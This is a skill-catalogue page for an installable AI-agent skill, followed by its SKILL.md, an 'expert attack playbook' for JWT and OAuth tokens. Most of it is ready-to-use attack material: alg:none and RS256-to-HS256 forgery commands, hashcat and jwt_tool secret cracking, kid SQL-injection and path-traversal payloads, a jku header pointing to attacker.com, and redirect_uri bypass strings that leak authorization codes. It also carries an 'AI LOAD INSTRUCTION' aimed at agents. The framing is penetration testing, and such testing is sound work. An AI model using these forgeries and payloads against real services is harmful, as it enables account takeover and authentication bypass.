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jwt-oauth-token-attacks

JWT and OAuth token attack playbook

Install / Use

npx skills add yaklang/hack-skills --skill jwt-oauth-token-attacks

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

86/100

Supported Platforms

Universal

Our assessment of jwt-oauth-token-attacks

jwt-oauth-token-attacks scores 86/100 on our quality scale, 2378th of 4,698 Development & Engineering skills we index.

Its SKILL.md is 8.9 KB long, well organised into 48 sections with 23 code examples: a thorough specification that gives an agent plenty to work with.

With 2,288 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
8/15
Adoption
14/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated about 2 months ago, so jwt-oauth-token-attacks is actively maintained.
  • Our last check on 2026-11-03 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-10-01. Automated pattern scan on 2026-10-01. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

jwt-oauth-token-attacks compared with similar skills

All 4 of these similar skills score higher than jwt-oauth-token-attacks; compare them before choosing.

SkillScoreStarsUpdatedFormat
jwt-oauth-token-attacks (this skill)by yaklang862.3k2mo agoSKILL.md
taste-skillby Leonxlnx100116.8k8d agoCLAUDE.md
ai-job-searchby ai-job-search-dev10072.1ktodayCLAUDE.md
claude-howtoby luongnv8910047.3k2d agoCLAUDE.md
lobehubby lobehub10085.6ktodayMCP Server

Frequently asked questions

How do I install jwt-oauth-token-attacks?
Run npx skills add yaklang/hack-skills --skill jwt-oauth-token-attacks. The install tabs above show the steps for each supported agent.
Which AI agents does jwt-oauth-token-attacks work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is jwt-oauth-token-attacks safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is jwt-oauth-token-attacks still maintained?
The repository was last updated about 2 months ago, so jwt-oauth-token-attacks is actively maintained.

name: jwt-oauth-token-attacks description: >- JWT and OAuth token attack playbook. Use when validating token trust, signing algorithms, key handling, claim abuse, bearer flows, and OAuth account-binding weaknesses.

SKILL: JWT and OAuth 2.0 Token Attacks — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert authentication token attacks. Covers JWT cryptographic attacks (alg:none, RS256→HS256, secret crack, kid/jku injection), OAuth flow attacks (CSRF, open redirect, token theft, implicit flow abuse), PKCE bypass, and token leakage via Referer/logs. This is critical for modern web applications.

0. RELATED ROUTING

Use this file for token-centric attacks and flow abuse. Also load:


1. JWT ANATOMY

eyJh…[redacted]
└─────────────────────┘ └────────────────────────────┘ └──────────────────────────────────────────┘
         HEADER                     PAYLOAD                           SIGNATURE

Decode in terminal:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9" | base64 -d
# → {"alg":"HS256","typ":"JWT"}

echo "eyJ1c2VySWQiOjEyMzQsInJvbGUiOiJ1c2VyIn0" | base64 -d
# → {"userId":1234,"role":"user"}

Common claim targets (modify to escalate):

{
  "role": "admin",
  "isAdmin": true,
  "userId": OTHER_USER_ID,
  "email": "victim@target.com",
  "sub": "admin",
  "permissions": ["admin", "write", "delete"],
  "tier": "premium"
}

2. ATTACK 1 — ALGORITHM NONE (alg:none)

Server doesn't validate signature when algorithm is "none"/"None"/"NONE":

# Burp JWT Editor / python-jwt attack:
# Step 1: Decode header
echo '{"alg":"HS256","typ":"JWT"}' | base64 → old_header

# Step 2: Create new header
echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 3: Modify payload (e.g., role → admin):
echo -n '{"userId":1234,"role":"admin"}' | base64 | tr -d '=' | tr '/+' '_-'

# Step 4: Construct token with empty signature:
HEADER.PAYLOAD.
# OR:
HEADER.PAYLOAD

Tool (jwt_tool):

python3 jwt_tool.py JWT_TOKEN -X a
# → automatically generates alg:none variants

3. ATTACK 2 — RS256 TO HS256 KEY CONFUSION

When server uses RS256 (asymmetric — RSA private key signs, public key verifies):

  • Server's public key is often discoverable (JWKS endpoint, /certs, source code)
  • Attack: tell server "this is HS256" → server verifies HS256 HMAC using the public key as secret
# Step 1: Obtain public key (PEM format)
# From: /api/.well-known/jwks.json → convert to PEM
# From: /certs endpoint
# From: OpenSSL extraction from HTTPS cert

# Step 2: Use jwt_tool to sign with HS256 using public key as secret:
python3 jwt_tool.py JWT_TOKEN -X k -pk public_key.pem

# Step 3: Manually:
# Modify header: {"alg":"HS256","typ":"JWT"}
# Sign entire header.payload with HMAC-SHA256 using PEM public key bytes

4. ATTACK 3 — JWT SECRET BRUTE FORCE

HMAC-based JWTs (HS256/HS384/HS512) with weak secret:

# hashcat (fast):
hashcat -a 0 -m 16500 "JWT_TOKEN_HERE" /usr/share/wordlists/rockyou.txt

# john:
echo "JWT_TOKEN_HERE" > jwt.txt
john --format=HMAC-SHA256 --wordlist=/usr/share/wordlists/rockyou.txt jwt.txt

# jwt_tool:
python3 jwt_tool.py JWT_TOKEN -C -d /path/to/wordlist.txt

Common weak secrets to test manually:

secret, password, 123456, qwerty, changeme, your-256-bit-secret,
APP_NAME, app_name, production, jwt_secret, SECRET_KEY

5. ATTACK 4 — kid (Key ID) INJECTION

The kid header parameter specifies which key to use for verification. No sanitization = injection:

kid SQL Injection

{"alg":"HS256","kid":"' UNION SELECT 'attacker_controlled_key' FROM dual--"}

If backend queries SQL: SELECT key FROM keys WHERE kid = 'INPUT'
Result: HMAC key = 'attacker_controlled_key' → forge any payload signed with this value.

kid Path Traversal (file read)

{"alg":"HS256","kid":"../../../../dev/null"}

Server reads /dev/null as key → empty string → sign token with empty HMAC.

{"alg":"HS256","kid":"../../../../etc/hostname"}

Server reads hostname as key → forge tokens signed with hostname string.


6. ATTACK 5 — jku / x5u Header Injection

jku points to JSON Web Key Set URL. If not whitelisted:

{"alg":"RS256","jku":"https://attacker.com/malicious-jwks.json","kid":"my-key"}

Setup:

# Generate RSA key pair:
openssl genrsa -out private.pem 2048
openssl rsa -in private.pem -pubout -out public.pem

# Create JWKS:
python3 -c "
import json, base64, struct
# ... (use python-jwcrypto or jwt_tool to export JWKS)
"

# Host malicious JWKS at attacker.com/malicious-jwks.json
# Sign JWT with attacker's private key
# Server fetches attacker's JWKS → verifies with attacker's public key → accepts

jwt_tool automation:

python3 jwt_tool.py JWT -X s -ju https://attacker.com/malicious-jwks.json

7. OAUTH 2.0 — STATE PARAMETER MISSING (CSRF)

State parameter prevents CSRF in OAuth. If missing:

Attack:
1. Click "Login with Google" → OAuth starts → intercept the redirect URL:
   https://accounts.google.com/oauth2/auth?client_id=APP_ID&redirect_uri=https://target.com/callback&state=MISSING_OR_PREDICTABLE&code=...

2. Get the authorization code (stop before exchanging it)
3. Craft URL: https://target.com/oauth/callback?code=ATTACKER_CODE
4. Victim clicks that URL → their session binds to ATTACKER's OAuth identity
→ ACCOUNT TAKEOVER

8. OAUTH — REDIRECT_URI BYPASS

Authorization codes are sent to redirect_uri. If validation is weak:

Open Redirect in redirect_uri

Original: redirect_uri=https://target.com/callback
Attack:   redirect_uri=https://target.com/callback/../../../attacker.com
          redirect_uri=https://attacker.com.target.com/callback
          redirect_uri=https://target.com@attacker.com/callback

Partial Path Match

Whitelist: https://target.com/callback
Attack: https://target.com/callback%2f../admin (URL path confusion)
        https://target.com/callbackXSS (prefix match only)

Localhost / Development Redirect

redirect_uri=http://localhost/steal
redirect_uri=urn:ietf:wg:oauth:2.0:oob  (mobile apps)

9. OAUTH — IMPLICIT FLOW TOKEN THEFT

Implicit flow: token sent in URL fragment #access_token=...

Fragment leakage scenarios:

  • Redirect to attacker page: fragment accessible via document.referrer or via <script>window.location.href</script> in target page
  • Open redirect: redirect_uri=https://target.com/open-redirect?url=https://attacker.com → token in fragment lands at attacker's page

10. OAUTH — SCOPE ESCALATION

Request broader scope than authorized in authorization code:

Authorized scope: read:profile
Attack: During token exchange, add scope=admin or scope=read:admin
→ Does server grant requested scope or issued scope?

11. TOKEN LEAKAGE VECTORS

Referer Header

Token in URL → page loads external resource → Referer leaks token:

https://target.com/dashboard#access_token=TOKEN
→ HTML loads: <img src="https://analytics.third-party.com/track">
→ Referer: https://target.com/dashboard#access_token=TOKEN
→ analytics.third-party.com sees token in Referer logs

Server Logs

Access tokens sent in query parameters are stored in:

/var/log/nginx/access.log
/var/log/apache2/access.log
ELB/ALB logs (AWS)
CloudFront logs
CDN logs

12. JWT TESTING CHECKLIST

□ Decode header + payload (base64 decode each part)
□ Identify algorithm: HS256/RS256/ES256/none
□ Modify payload fields (role, userId, isAdmin) → change signature too
□ Test alg:none → remove signature entirely
□ If RS256: find public key → attempt RS256→HS256 confusion
□ If HS256: brute force with hashcat/rockyou
□ Check kid parameter → try SQL injection + path traversal
□ Check jku/x5u header → redirect to attacker JWKS
□ Test token reuse after logout
□ Test expired token acceptance (exp claim)
□ Check for token in GET params (log leakage) vs header

13. OAUTH TESTING CHECKLIST

□ Check for state parameter in authorization request
□ Test redirect_uri manipulation (open redirect, prefix match, path confusion)
□ Can tokens be exchanged more than once?
□ Test scope escalation during token exchange
□ Implicit flow: check for token in Referer/history
□ PKCE: can code_challenge be bypassed or code_verifier be empty?
□ Check for authorization code reuse (code must be single-use)
□ Test account linking abuse: link OAuth to existing account with same email
□ Check OAuth provider confusion: use Apple ID to link where Google expected

Related Skills

View on GitHub
GitHub Stars2.3k
CategoryDevelopment
Updated2mo ago
Forks303

Languages

CSS

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions